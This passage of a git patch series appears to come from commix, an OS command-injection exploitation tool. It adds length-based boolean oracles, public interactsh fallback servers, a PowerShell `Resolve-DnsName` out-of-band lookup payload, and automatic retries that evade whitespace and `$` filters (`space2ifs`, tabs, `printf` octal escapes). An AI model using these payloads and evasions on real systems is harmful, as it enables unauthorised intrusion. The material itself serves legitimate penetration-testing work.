dynamic." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) return False diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 779f3e2ffe..b4f703e78b 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -144,6 +144,30 @@ def _sample(request=None, response=None): settings.ORIGINAL_PAGE_COMPARABLE = checks.comparable_page(settings.ORIGINAL_PAGE) settings.PAGE_NOISE_RATIO = difflib.SequenceMatcher(None, settings.ORIGINAL_PAGE_COMPARABLE, checks.comparable_page(second_page)).ratio() + + """ + '--skip-static' reads this ratio as how similar an unchanged response can be expected to look - + a single pair is one sample of how noisy the target's own output is, and against a target whose + every response carries its own jitter (a live 'ping', a timestamp), that one sample can land low + purely by chance, making a genuinely dynamic parameter look static. A third same-value sample + costs one more request, asked only where '--skip-static' will actually spend the ratio, and the + higher of the two ratios is kept - the more charitable of two readings of the same no-change + case, rather than whichever one happened to be measured. + """ + if menu.options.skip_static: + try: + third_response = _sample() + try: + third_page = checks.decode_page_body(third_response.read(), third_response) + finally: + third_response.close() + third_ratio = difflib.SequenceMatcher(None, settings.ORIGINAL_PAGE_COMPARABLE, + checks.comparable_page(third_page)).ratio() + settings.PAGE_NOISE_RATIO = max(settings.PAGE_NOISE_RATIO, third_ratio) + except Exception: + # The two-sample ratio above still stands; a third, better-calibrated reading is a bonus. + pass + if settings.VERBOSITY_LEVEL != 0 and settings.DYNAMIC_MARKINGS: debug_msg = "Marked " + str(len(settings.DYNAMIC_MARKINGS)) + " region" debug_msg += "s"[len(settings.DYNAMIC_MARKINGS) == 1:] + " of the page as moving on its own." diff --git a/src/utils/settings.py b/src/utils/settings.py index ad0d238a8f..f47323e9df 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -442,7 +442,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "230" +REVISION = "231" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From ae96f400e4b7159769809d4098b0cb853128e2f9 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Sun, 18 Oct 2026 10:10:39 +0300 Subject: [PATCH 0904/1023] Added new options `--lengths` (bisect the boolean-based technique on content length instead of content) and `--null-connection` (read that length off the `Content-Length` header, with no body downloaded at all, past a minimum page size) --- doc/CHANGELOG.md | 1 + src/core/controller/checks.py | 33 +++++++++++++++++-- src/core/parse/cmdline.py | 12 +++++++ .../techniques/boolean_based/bb_injector.py | 28 +++++++++++++++- src/utils/settings.py | 12 ++++++- 5 files changed, 82 insertions(+), 4 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 27155b165e..63bdcc8b05 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Added: New options `--lengths` (bisect the boolean-based technique on content length instead of content) and `--null-connection` (read that length off the `Content-Length` header, with no body downloaded at all, past a minimum page size). * Fixed: `--skip-static` could mark a genuinely injectable parameter as static and skip it, against a target whose response is never byte-identical twice (e.g. a live `ping`). * Added: `-l`/`--logfile` now also reads a HAR export (the format `--har` itself writes to), alongside the proxy-log and XML-history formats it already read. * Added: New tamper script `printfoctal.py`, hiding command names/paths via `printf` octal escapes (`$(printf '\143\141\164')`), for shells lacking `ansiquote`/`ansiquoteoctal`'s ANSI-C quoting (e.g. `dash`). diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index 6605a266cb..30211a35bc 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -4248,7 +4248,7 @@ def boolean_oracle_given(): The answer a target gives where it branches on the command rather than printing what it returned - the page it renders, or the status it answers with, stands in for the output a blind sink withholds. """ -def boolean_oracle(page, code=None): +def boolean_oracle(page, code=None, page_length=None): if menu.options.string: return menu.options.string in (page or "") if menu.options.not_string: @@ -4260,6 +4260,22 @@ def boolean_oracle(page, code=None): return None if menu.options.code is not None: return str(code) == str(menu.options.code) + """ + '--lengths' asked for by name, or 'page_length' handed in because there was no body to read at + all ('--null-connection') - either way, a length and nothing else is what there is to bisect on. + """ + if menu.options.lengths or page_length is not None: + if settings.BOOLEAN_TRUE_LENGTH is None or settings.BOOLEAN_FALSE_LENGTH is None: + return None + if page_length is None: + page_length = len(page) if page is not None else None + if page_length is None or settings.BOOLEAN_TRUE_LENGTH == settings.BOOLEAN_FALSE_LENGTH: + return None + to_true = abs(page_length - settings.BOOLEAN_TRUE_LENGTH) + to_false = abs(page_length - settings.BOOLEAN_FALSE_LENGTH) + if to_true == to_false: + return None + return to_true < to_false # Nothing was named, so the answer is read against the two pages a known question came back with: # whichever of them this response is closer to is the answer it carries. Calibrated rather than # compared to a threshold, because what a condition changes can be a couple of characters of a @@ -4282,12 +4298,25 @@ def boolean_oracle(page, code=None): def calibrate_boolean_oracle(page_true, page_false, code_true=None, code_false=None): settings.BOOLEAN_TRUE_PAGE = settings.BOOLEAN_FALSE_PAGE = None settings.BOOLEAN_TRUE_RAW = settings.BOOLEAN_FALSE_RAW = None + settings.BOOLEAN_TRUE_LENGTH = settings.BOOLEAN_FALSE_LENGTH = None settings.BOOLEAN_TRUE_CODE, settings.BOOLEAN_FALSE_CODE = code_true, code_false if page_true is None or page_false is None: return False + # Worth paying a fresh connection per request for '--null-connection' only past a minimum size - + # settled once, off the page this run actually has, rather than assumed. + if settings.NULL_CONNECTION_WORTHWHILE is None: + settings.NULL_CONNECTION_WORTHWHILE = len(page_true) >= settings.NULL_CONNECTION_MIN_LENGTH + # Taken from the raw pages, not the masked ones below - a length is a length whether or not the + # bytes it counts fall inside a region 'comparable_page' would otherwise mask out. + true_length, false_length = len(page_true), len(page_false) + lengths_distinguish = true_length != false_length + if lengths_distinguish: + settings.BOOLEAN_TRUE_LENGTH, settings.BOOLEAN_FALSE_LENGTH = true_length, false_length true_page, false_page = comparable_page(page_true), comparable_page(page_false) if not true_page or true_page == false_page: - return False + # Content alone cannot tell the two apart - length still might, and is reported precisely + # because it is the only one of the two that just did. + return lengths_distinguish settings.BOOLEAN_TRUE_PAGE, settings.BOOLEAN_FALSE_PAGE = true_page, false_page settings.BOOLEAN_TRUE_RAW, settings.BOOLEAN_FALSE_RAW = page_true, page_false return True diff --git a/src/core/parse/cmdline.py b/src/core/parse/cmdline.py index 263a4ed0d0..1a9746bcf2 100755 --- a/src/core/parse/cmdline.py +++ b/src/core/parse/cmdline.py @@ -1007,6 +1007,18 @@ def banner(): default=None, help="HTTP code to match when the injected condition is true.") +detection.add_option("--lengths", + action="store_true", + dest="lengths", + default=False, + help="Compare pages based only on their content length.") + +detection.add_option("--null-connection", + action="store_true", + dest="null_connection", + default=False, + help="Retrieve the boolean-based page's length without its body.") + detection.add_option("--mine-params", action="store_true", dest="mine_params", diff --git a/src/core/techniques/boolean_based/bb_injector.py b/src/core/techniques/boolean_based/bb_injector.py index 635806de26..a34be14572 100644 --- a/src/core/techniques/boolean_based/bb_injector.py +++ b/src/core/techniques/boolean_based/bb_injector.py @@ -13,6 +13,7 @@ For more see the file 'readme/COPYING' for copying permission. """ +from src.core.parse import cmdline as menu from src.core.requests import requests from src.utils import settings from src.core.controller import checks @@ -33,9 +34,34 @@ def ask(payload, prefix, suffix, whitespace, http_request_method, url, vuln_para against the parameter it was actually found on. """ def answer(payload, prefix, suffix, whitespace, http_request_method, url, vuln_parameter): - response, vuln_parameter, _, _, _ = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) + """ + '--null-connection': the length off the 'Content-Length' header is read back without the body - + worth it only once the page itself is large enough that a fresh connection per request costs + less than the transfer it avoids (settled once, in 'calibrate_boolean_oracle'). 'Content-Length' + has to name the same (uncompressed) size the calibration lengths were measured on, so compression + is turned off for this one request - asked for it, a compressed response would carry the size on + the wire instead, which is not what the two reference lengths were measured against. + """ + use_null_connection = menu.options.null_connection and settings.NULL_CONNECTION_WORTHWHILE + if use_null_connection: + saved_compression = settings.PAGE_COMPRESSION + settings.PAGE_COMPRESSION = False + try: + response, vuln_parameter, _, _, _ = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) + finally: + if use_null_connection: + settings.PAGE_COMPRESSION = saved_compression if response is False or response is None: return None, vuln_parameter + if use_null_connection: + try: + length = int(response.info().get(settings.CONTENT_LENGTH)) + code = response.getcode() + except (TypeError, ValueError): + length = None + else: + response.close() + return checks.boolean_oracle(None, code, page_length=length), vuln_parameter try: page = checks.remove_reflected_values(checks.decode_page_body(response.read(), response), payload) code = response.getcode() diff --git a/src/utils/settings.py b/src/utils/settings.py index f47323e9df..ced66b087d 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -442,7 +442,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "231" +REVISION = "232" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -778,6 +778,16 @@ class OS(object): BOOLEAN_TRUE_PAGE = None BOOLEAN_FALSE_PAGE = None +# The raw length of the two calibration pages, read alongside them - what '--lengths' (and +# '--null-connection', which has no body to compare at all) bisects on instead of page content. +BOOLEAN_TRUE_LENGTH = None +BOOLEAN_FALSE_LENGTH = None + +# Whether '--null-connection' is worth it here: established once, from the first calibration page, +# since the "skip the body, pay a fresh connection instead" trade only wins past a minimum size. +NULL_CONNECTION_WORTHWHILE = None +NULL_CONNECTION_MIN_LENGTH = 32768 + # One-time "reflected value(s) found" notice already shown this run. REFLECTIVE_VALUE_FOUND = False From 289ff2285ee25410e8f150f4ddf124a8e2ab2a7e Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Sun, 18 Oct 2026 10:15:42 +0300 Subject: [PATCH 0905/1023] Mark OS compatibility checks as completed to prevent repeated warnings --- src/core/controller/enumeration.py | 5 ++++- src/utils/settings.py | 2 +- 2 files changed, 5 insertions(+), 2 deletions(-) diff --git a/src/core/controller/enumeration.py b/src/core/controller/enumeration.py index 9bb071ecd9..9f45bfe69d 100755 --- a/src/core/controller/enumeration.py +++ b/src/core/controller/enumeration.py @@ -179,10 +179,13 @@ def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, h checks.ps_check() if menu.options.ps_version and settings.PS_ENABLED == None: + # Set whichever way 'ps_incompatible_os()' answers - the wrong-OS case is itself the whole + # check 'do_check' was asked for here, and is otherwise re-run (and re-warned) on every + # technique 'stored_session()' sees confirmed, for having never been marked done. + settings.ENUMERATION_DONE = True if not checks.ps_incompatible_os(): checks.print_enumenation().ps_version_msg() powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) - settings.ENUMERATION_DONE = True if menu.options.sys_info: checks.print_enumenation().os_info_msg() diff --git a/src/utils/settings.py b/src/utils/settings.py index ced66b087d..c6cc805810 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -442,7 +442,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "232" +REVISION = "233" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 122be97f1d56a438a7f073cd7b59db697d0209b8 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Mon, 19 Oct 2026 08:58:14 +0300 Subject: [PATCH 0906/1023] Added the out-of-band DNS lookup on Windows now also tries `Resolve-DnsName`, alongside `nslookup` --- doc/CHANGELOG.md | 1 + src/core/techniques/oob/oob_payloads.py | 18 +++++++++++------- src/utils/settings.py | 2 +- 3 files changed, 13 insertions(+), 8 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 63bdcc8b05..ead7a48428 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Added: The out-of-band DNS lookup on Windows now also tries `Resolve-DnsName`, alongside `nslookup`. * Added: New options `--lengths` (bisect the boolean-based technique on content length instead of content) and `--null-connection` (read that length off the `Content-Length` header, with no body downloaded at all, past a minimum page size). * Fixed: `--skip-static` could mark a genuinely injectable parameter as static and skip it, against a target whose response is never byte-identical twice (e.g. a live `ping`). * Added: `-l`/`--logfile` now also reads a HAR export (the format `--har` itself writes to), alongside the proxy-log and XML-history formats it already read. diff --git a/src/core/techniques/oob/oob_payloads.py b/src/core/techniques/oob/oob_payloads.py index d9711f2f13..524fa2a85c 100644 --- a/src/core/techniques/oob/oob_payloads.py +++ b/src/core/techniques/oob/oob_payloads.py @@ -184,11 +184,13 @@ def reach_command(transport, hostname, proof="", separator=OR): """ The command that makes the target resolve a name. -On Windows 'nslookup' is always there. Elsewhere it is part of an optional package, so the ones a -host is likely to have instead follow it, and 'ping' comes last because it waits for a reply that a -host with its echo traffic filtered will never get. They are chained with the separator being tested, so a sink -that filters some other operator does not defeat the separator that would have worked; where there -is nothing to chain with, only the likeliest command is sent. +On Windows 'nslookup' is always there, but not necessarily left alone - 'Resolve-DnsName' follows +it for the rare host where it is blocked or removed. Elsewhere 'nslookup' is part of an optional +package, so the ones a host is likely to have instead follow it, and 'ping' comes last because it +waits for a reply that a host with its echo traffic filtered will never get. They are chained with +the separator being tested, so a sink that filters some other operator does not defeat the +separator that would have worked; where there is nothing to chain with, only the likeliest command +is sent. """ def dns_lookup_command(hostname, separator=OR, proof=""): # The sum rides in a label of its own in front of the name, which is the only place a lookup has @@ -197,8 +199,10 @@ def dns_lookup_command(hostname, separator=OR, proof=""): if proof: hostname = proof + "." + hostname if settings.TARGET_OS == settings.OS.WINDOWS: - return "nslookup " + hostname - commands = ["nslookup " + hostname, "getent hosts " + hostname, "host " + hostname, "ping -c1 " + hostname] + commands = ["nslookup " + hostname, + "powershell.exe -InputFormat none -Command Resolve-DnsName " + hostname] + else: + commands = ["nslookup " + hostname, "getent hosts " + hostname, "host " + hostname, "ping -c1 " + hostname] if not separator: return commands[0] return separator.join(commands) diff --git a/src/utils/settings.py b/src/utils/settings.py index c6cc805810..bd10110000 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -442,7 +442,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "233" +REVISION = "235" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 161ce7a46c8576a578b0c46d584e88c361f790b7 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Mon, 19 Oct 2026 09:02:46 +0300 Subject: [PATCH 0907/1023] The out-of-band channel now falls back through five more public interactsh servers if `oast.fun` does not answer --- doc/CHANGELOG.md | 1 + src/core/oob/interactsh.py | 53 +++++++++++++++++++++++++++++--------- src/utils/settings.py | 6 ++++- 3 files changed, 47 insertions(+), 13 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index ead7a48428..0c2a5ffeb4 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Added: The out-of-band channel now falls back through five more public interactsh servers if `oast.fun` does not answer. * Added: The out-of-band DNS lookup on Windows now also tries `Resolve-DnsName`, alongside `nslookup`. * Added: New options `--lengths` (bisect the boolean-based technique on content length instead of content) and `--null-connection` (read that length off the `Content-Length` header, with no body downloaded at all, past a minimum page size). * Fixed: `--skip-static` could mark a genuinely injectable parameter as static and skip it, against a target whose response is never byte-identical twice (e.g. a live `ping`). diff --git a/src/core/oob/interactsh.py b/src/core/oob/interactsh.py index 92566c75ff..db8629b0fe 100644 --- a/src/core/oob/interactsh.py +++ b/src/core/oob/interactsh.py @@ -33,7 +33,24 @@ class Interactsh(OOBProvider): # A session with an interactsh server, keyed to the address it was opened against. def __init__(self): OOBProvider.__init__(self) - self.server = settings.OOB_SERVER or ("https://" + settings.OOB_INTERACTSH_DOMAIN) + # A self-hosted server is not a pool to fall back out of - it is the one the run was told to + # use, and the only one it is asked to use. + self._self_hosted = bool(settings.OOB_SERVER) + self._servers = [settings.OOB_SERVER] if self._self_hosted else ( + [settings.OOB_INTERACTSH_DOMAIN] + list(settings.OOB_INTERACTSH_FALLBACK_DOMAINS)) + self.token = settings.OOB_TOKEN + self.correlation_id = "".join(_rand.choice(string.ascii_lowercase + string.digits) for _ in range(20)) + self.secret = str(uuid.uuid4()) + self._aes_key = None + self._n = self._e = self._d = None + self._apply_server(self._servers[0]) + + """ + Point the client at one server from the pool - its own address, scheme and port, same as a + self-hosted one carries. + """ + def _apply_server(self, server): + self.server = server if "://" not in self.server: self.server = "https://" + self.server self.server = self.server.rstrip("/") @@ -43,11 +60,6 @@ def __init__(self): self.scheme = (parsed.scheme or "https").lower() # A self-hosted server may listen anywhere, and the payload's URL has to say where. self.port = parsed.port - self.token = settings.OOB_TOKEN - self.correlation_id = "".join(_rand.choice(string.ascii_lowercase + string.digits) for _ in range(20)) - self.secret = str(uuid.uuid4()) - self._aes_key = None - self._n = self._e = self._d = None """ Issue a request against the interactsh server. @@ -64,15 +76,32 @@ def _call(self, path, payload=None): return json.loads(body) if body.strip() else {} """ - Generate a key pair and register it with the server. + Generate a key pair and register it with the server - the first of the pool to answer, where + none was named, since the default pool rotates and retires on its own. """ def _register(self): self._n, self._e, self._d = crypto.generate_rsa_key() - self._call("/register", { - "public-key": crypto.public_key_pem_b64(self._n, self._e), - "secret-key": self.secret, - "correlation-id": self.correlation_id - }) + last_err = None + for server in self._servers: + self._apply_server(server) + if settings.VERBOSITY_LEVEL >= 1: + debug_msg = "Checking the out-of-band server '" + self.domain + "'." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + try: + self._call("/register", { + "public-key": crypto.public_key_pem_b64(self._n, self._e), + "secret-key": self.secret, + "correlation-id": self.correlation_id + }) + return + except Exception as err: + last_err = err + if settings.VERBOSITY_LEVEL >= 1: + debug_msg = "'" + self.domain + "' did not answer (" + str(err) + ")." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + if self._self_hosted: + break + raise last_err """ Release the registration. diff --git a/src/utils/settings.py b/src/utils/settings.py index bd10110000..38b9b84b3a 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -442,7 +442,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "235" +REVISION = "236" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1273,6 +1273,10 @@ class INJECTION_TECHNIQUE(object): # Out-of-band (OAST) support. OOB_PROVIDER_INTERACTSH = "interactsh" OOB_INTERACTSH_DOMAIN = "oast.fun" +# The rest of ProjectDiscovery's own public interactsh pool, tried in turn where the default does +# not answer - never applied over '--oob-server', since a self-hosted one is not a pool to fall +# back out of. +OOB_INTERACTSH_FALLBACK_DOMAINS = ("oast.pro", "oast.live", "oast.site", "oast.online", "oast.me") OOB_SERVER = "" OOB_TOKEN = "" OOB_TIMEOUT = 15 From 92cf493876a688a2f0b523786bfacd39dfc71ec6 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Mon, 19 Oct 2026 09:04:45 +0300 Subject: [PATCH 0908/1023] Fix OpenAPI server URL joining, expand replacement values, and respect user-defined prefixes --- src/core/parse/openapi.py | 9 ++++++++- src/core/requests/headers.py | 7 ++++++- src/core/requests/parameters.py | 5 ++++- src/utils/settings.py | 2 +- 4 files changed, 19 insertions(+), 4 deletions(-) diff --git a/src/core/parse/openapi.py b/src/core/parse/openapi.py index 35eaf1871e..37d035b054 100644 --- a/src/core/parse/openapi.py +++ b/src/core/parse/openapi.py @@ -240,7 +240,14 @@ def _base_url(spec, origin=None, servers=None): # An address given in full is used as it stands, host and all. if re.match(r"(?i)[a-z][a-z0-9+.-]*://", url): return url.rstrip("/") - return ((origin.rstrip("/") if origin else "") + "/" + url.lstrip("/")).rstrip("/") + # Only the scheme and host come from '--openapi-base' here - a document naming its own server + # already says where its paths live relative to it, and joining that onto the option's full + # value as well (itself sometimes a path, for a document that names no server at all) would + # carry the same path twice. + if origin: + parsed_origin = _urllib.parse.urlparse(origin if "://" in origin else "http://" + origin) + origin = (parsed_origin.scheme or "http") + "://" + parsed_origin.netloc + return ((origin or "") + "/" + url.lstrip("/")).rstrip("/") if spec.get("host"): schemes = spec.get("schemes") scheme = schemes[0] if isinstance(schemes, list) and schemes else "https" diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index d3cc9afcef..6122b39929 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -195,8 +195,13 @@ def _swap(match): pool = string.ascii_uppercase else: pool = string.ascii_lowercase + # A replacement this short has too small a pool to last a scan - a session that remembers + # every value it has already seen runs back into one of them within a dozen requests, and + # 'Duplicate' turns into a wall every later request bounces off alike. Padded out to a width + # wide enough that repeated requests do not exhaust it, rather than matching the original's own. + length = max(len(original), 6) while True: - candidate = "".join(random.choice(pool) for _ in original) + candidate = "".join(random.choice(pool) for _ in range(length)) if candidate != original: return candidate return re.sub(r"[0-9]+|[A-Z]+|[a-z]+", _swap, value) diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index baa785ca25..cece55e732 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -773,8 +773,11 @@ def prefixes(payload, prefix): parameter = menu.options.host specify_host_parameter(parameter) + # Skipped where the user named a prefix of their own - that is the one place meant to override + # what the parameter's own required value would otherwise glue on, not stack in front of it, and + # a filter anchored on the shape of the value as a whole has no other way to be satisfied. pre_custom = resolve_marker_component(settings.TESTABLE_VALUE, settings.PRE_CUSTOM_INJECTION_MARKER_CHAR) - if pre_custom is not None and pre_custom not in prefix: + if pre_custom is not None and pre_custom not in prefix and not menu.options.prefix: prefix = pre_custom + prefix # Check if defined "--prefix" option. if menu.options.prefix and not settings.LOAD_SESSION: diff --git a/src/utils/settings.py b/src/utils/settings.py index 38b9b84b3a..6c64acc734 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -442,7 +442,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "236" +REVISION = "237" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 18bc99dbed35a935ecc9d8dd793df3c6b3e07b31 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Mon, 19 Oct 2026 09:06:45 +0300 Subject: [PATCH 0909/1023] Fixed heuristic testing against whitespace filters using `space2ifs` fallback --- src/core/controller/controller.py | 14 ++++++++++++++ src/utils/settings.py | 2 +- 2 files changed, 15 insertions(+), 1 deletion(-) diff --git a/src/core/controller/controller.py b/src/core/controller/controller.py index f5476cdb1c..d9e269d7c6 100644 --- a/src/core/controller/controller.py +++ b/src/core/controller/controller.py @@ -1149,6 +1149,20 @@ def _run_techniques(): settings.WAF_EVASION_ESCALATED = False end_detection = _run_techniques() + # One more pass with 'space2ifs' applied - a filter that rejects any literal whitespace + # blocks the heuristic test the same as every technique, so gating this on a positive + # heuristic would never fire for the one case it exists for. 'MULTI_ENCODED_PAYLOAD' + # already carrying the script is what keeps this from firing twice, or where it was + # already asked for. + if not end_detection and checks.injection_techniques_status() is False and \ + "space2ifs" not in settings.MULTI_ENCODED_PAYLOAD: + info_msg = "Nothing confirmed so far - retrying once with the 'space2ifs' tamper, " + info_msg += "in case whitespace itself is being filtered." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + menu.options.tamper = (menu.options.tamper + ",space2ifs") if menu.options.tamper else "space2ifs" + checks.tamper_scripts(stored_tamper_scripts=True) + end_detection = _run_techniques() + checks.final_false_positive_check(url, http_request_method, check_parameter, timesec, confirmed_mark) # All injection techniques seems to be failed! diff --git a/src/utils/settings.py b/src/utils/settings.py index 6c64acc734..ee1de6bd9c 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -442,7 +442,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "237" +REVISION = "238" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From f5df0bd34249a4f3633a38d3ba5c30f5ab085a15 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Mon, 19 Oct 2026 09:07:52 +0300 Subject: [PATCH 0910/1023] Fixed false negatives in post-exploitation checks when `$` is filtered --- src/core/controller/checks.py | 12 ++++++++++++ src/utils/settings.py | 2 +- 2 files changed, 13 insertions(+), 1 deletion(-) diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index 30211a35bc..81ef2ce30e 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -232,6 +232,18 @@ def final_false_positive_check(url, http_request_method, check_parameter, timese _, output = injector.false_positive_check(separator, "", "", prefix, suffix, whitespace, timesec, http_request_method, url, check_parameter, None, 1, False, 0, 0, False, settings.INJECTION_TECHNIQUE.TIME_BASED, silent=True, show_dots=True) + # This litmus leans on '$?' and '$((...))' to read its own exit status back, which a + # technique other than time/boolean-based never needed and a filter on '$' blocks outright - + # a confirmed file/tempfile/OOB finding would otherwise be taken back over a limitation in + # the re-ask, not in the finding. Retried once, already-'$'-free, before giving up. + if not output and not settings.SKIP_SUBST and separator in (";", "\n", "\r\n", "&"): + settings.SKIP_SUBST = True + try: + _, output = injector.false_positive_check(separator, "", "", prefix, suffix, whitespace, timesec, http_request_method, + url, check_parameter, None, 1, False, 0, 0, False, + settings.INJECTION_TECHNIQUE.TIME_BASED, silent=True, show_dots=True) + finally: + settings.SKIP_SUBST = False finally: settings.TIME_RELATED_ATTACK = previous if settings.VERBOSITY_LEVEL == 0: diff --git a/src/utils/settings.py b/src/utils/settings.py index ee1de6bd9c..bd3ba6b99e 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -442,7 +442,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "238" +REVISION = "239" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 8e6376d432674b29a3902f792e001aec3e2a2d92 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Mon, 19 Oct 2026 09:11:48 +0300 Subject: [PATCH 0911/1023] Fixed space-filter retries and reset web root discovery for tampered retries --- src/core/controller/checks.py | 8 ++++++++ src/core/controller/controller.py | 29 +++++++++++++++++++++++++++++ src/utils/settings.py | 2 +- 3 files changed, 38 insertions(+), 1 deletion(-) diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index 81ef2ce30e..bb22ed59d0 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -242,6 +242,14 @@ def final_false_positive_check(url, http_request_method, check_parameter, timese _, output = injector.false_positive_check(separator, "", "", prefix, suffix, whitespace, timesec, http_request_method, url, check_parameter, None, 1, False, 0, 0, False, settings.INJECTION_TECHNIQUE.TIME_BASED, silent=True, show_dots=True) + # Still nothing, and the confirmed boundary's own whitespace is a literal space - the one + # character the '$'-free retry above never swapped out. A horizontal tab reaches the same + # 'if test ... then sleep ... fi', is just as much a POSIX word separator, and is not what + # a filter written against a literal space character, specifically, is looking for. + if not output and whitespace == settings.SINGLE_WHITESPACE: + _, output = injector.false_positive_check(separator, "", "", prefix, suffix, "\t", timesec, http_request_method, + url, check_parameter, None, 1, False, 0, 0, False, + settings.INJECTION_TECHNIQUE.TIME_BASED, silent=True, show_dots=True) finally: settings.SKIP_SUBST = False finally: diff --git a/src/core/controller/controller.py b/src/core/controller/controller.py index d9e269d7c6..2f03b50439 100644 --- a/src/core/controller/controller.py +++ b/src/core/controller/controller.py @@ -1140,6 +1140,21 @@ def _run_techniques(): return True return False + def _reset_web_root_detection(): + # A retry below is the one case where the web root genuinely needs working out again: + # the candidate list a filtered-out pass already walked through and gave up on says + # nothing about whether the tamper this retry is about to apply would have fared any + # better on any one of those same candidates - left alone, 'custom_web_root()' sees + # candidates already exhausted and reaches straight past all of them for '/tmp/'. And + # 'menu.options.web_root' is what the first pass's own result gets cached into once it + # settles on one - left set, 'check_tmp_path()' reuses that cached answer directly and + # never calls back into 'custom_web_root()' at all, retry or not. + settings.CUSTOM_WEB_ROOT = False + settings.WEB_ROOT_CANDIDATES = [] + settings.WEB_ROOT_SETTLED_ONCE = False + settings.WEB_ROOT = settings.DEFAULT_WEB_ROOT + menu.options.web_root = False + confirmed_mark = len(settings.CONFIRMED_INJECTION_POINTS) end_detection = _run_techniques() # Nothing got through while a protection is in the way, so reach for a heavier evasion and @@ -1161,6 +1176,20 @@ def _run_techniques(): settings.print_data_to_stdout(settings.print_info_msg(info_msg)) menu.options.tamper = (menu.options.tamper + ",space2ifs") if menu.options.tamper else "space2ifs" checks.tamper_scripts(stored_tamper_scripts=True) + _reset_web_root_detection() + end_detection = _run_techniques() + + # 'space2ifs' substitutes '${IFS}' for the space it works around - itself '$'-based, so a + # filter that also blocks '$' leaves this pass no better off than the one before it. A + # 